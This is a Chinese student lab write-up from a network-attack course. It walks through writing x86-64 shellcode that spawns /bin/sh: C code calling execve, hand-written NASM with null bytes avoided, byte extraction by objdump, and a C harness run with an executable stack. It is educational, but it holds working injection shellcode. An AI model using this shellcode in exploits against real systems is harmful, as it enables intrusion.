2019-2020-2 20175310奚晨妍《网络对抗技术》Exp1+ 逆向进阶
Posted xicyannn
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了2019-2020-2 20175310奚晨妍《网络对抗技术》Exp1+ 逆向进阶相关的知识,希望对你有一定的参考价值。
1 Task1
shellcode就是一段机器指令(code)
- 通常这段机器指令的目的是为获取一个交互式的shell(像linux的shell或类似windows下的cmd.exe)
- 所以这段机器指令被称为shellcode。
- 在实际的应用中,凡是用来注入的机器指令段都通称为shellcode,功能可以是添加一个用户、运行一条指令等。
Shellcode有以下几点要求
- 调用系统函数获取shell权限
- Shellcode里面不能出现
x00
1.1 用C语言编写代码
在Linux里,有两种方法创建新进程:
- 一是通过现有的进程来创建,并替换正在活动的;
- 二是利用现有的进程来生成它自己的拷贝,并在它的位置运行这个新进程。
而execve()
系统调用就可以在现有的进程空间里执行其他的进程。
因此这里选择通过C语言调用execve()
来返回shell。
我们先在终端中输入man execve
了解一下这个函数的用法:
从图中可以看出execve()
需要三个参数:
filename
必须指向包含要执行的二进制文件的路径的字符串。在这个例子中就是/bin/sh
。argv []
是程序的参数列表。大多数程序将使用强制性/选项参数运行。而我们只想执行/bin/sh
,而没有任何更多的参数,所以参数列表只是一个NULL指针。但是按照惯例,第一个参数是我们要执行的文件名,所以argv []
就是"/bin/sh",NULL
。envp []
是要以key:value
格式传递给程序的任何其他环境选项的列表。为了我们的目的,这将是NULL指针x00000000
。
由此我们可以编写C代码:
#include <unistd.h>
#include <stdlib.h>
char *buf[]={"/bin/sh",NULL};
void main()
{
execve("/bin/sh",buf,0);
exit(0);
}
1.2 编译代码并查看反汇编结果
对上述代码进行静态编译,此时执行可以看到返回了shell。
输入objdump -d test | more
进行反汇编。
可以发现execve()
就相当于执行syscall
,然后调用0x3b调用号,0x3b对应十进制的59,也就是execve()
的调用号。
1.3 编写shellcode
- shellcode应该尽量地简洁紧凑,这样才能注入更小的缓冲区
- 当遇到n字节长的缓冲区时,不仅要把整个shellcode复制到缓冲区,还要加上调用shellcode的指令,所以shellcode必须比n小。
- Shellcode里面不能出现
x00
- shellcode中如果存在一些
NULL(x00)
字符,当我们把shellcode复制到缓冲区时,有时候会出现异常(因为字符数组用null
做终止符)。
- shellcode中如果存在一些
section .text
global _start
_start:
xor rax,rax ;将rax置为0
push rax ;将全0入栈
push 0x68732f
push 0x6e69622f ;在堆栈中反向压入“/bin/sh”,即“hs/nib/”
mov rbx,rsp ;用rsp将rbx指向“/bin/sh”
push rax ;将全0入栈
mov rdx,rsp ;将rsp指向rdx
push rbx ;将“/bin/sh”地址入栈
mov rcx,rsp ;让rcx指向地址
mov eax,0xffffffc5 ;
neg eax ;将0x3b赋值给eax
syscall
输入nasm -f elf64 shellcode_test.asm
和ld -o shellcode_test shellcode_test.o
编译汇编文件,输入objdump -d shellcode_test
进行反汇编
1.4 提取shellcode
上图中红框里就是我们需要的机器码,可以自己手动输入,或是使用下面这段代码直接生成
objdump -d ./shellcode_test|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr ' ' ' '|sed 's/ $//g'|sed 's/ /x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g'
1.5 编写测试代码
调用shellcode其实有很多种方法,这里我用了一种最简单的,其他方法可以参考这篇博客。
#include <stdio.h>
int main()
{
char shellcode[] = "x48x31xd2x48x31xf6x52x48xb8x2fx62x69x6ex2fx2fx73x68x50x48x89xe7xb8xc5xffxffxffxf7xd8x0fx05";
((void(*)(void))&shellcode)();
}
编译好代码后,一定要设置堆栈可执行,不然成功不了,这里有两种方法:
- 输入
execstack -s code
,设置堆栈可执行后再运行。
- 通过编译时加上
-z execstack
设置堆栈可执行。
这时候,我们自己编写的64位shellcode就已经运行成功了。
2 参考资料
20155213免考项目——bof进阶及简易的HIDAttack
以上是关于2019-2020-2 20175310奚晨妍《网络对抗技术》Exp1+ 逆向进阶的主要内容,如果未能解决你的问题,请参考以下文章
2019-2020-1 20175310 20175317 20175320 实验五 通讯协议设计
2019-2020-1 20175310 20175317 20175320 实验三 实时系统
2019-2020-1 20175310 20175317 20175320 实验三 实时系统
2019-2020-1 20175310 20175317 20175320 实验二 固件程序设计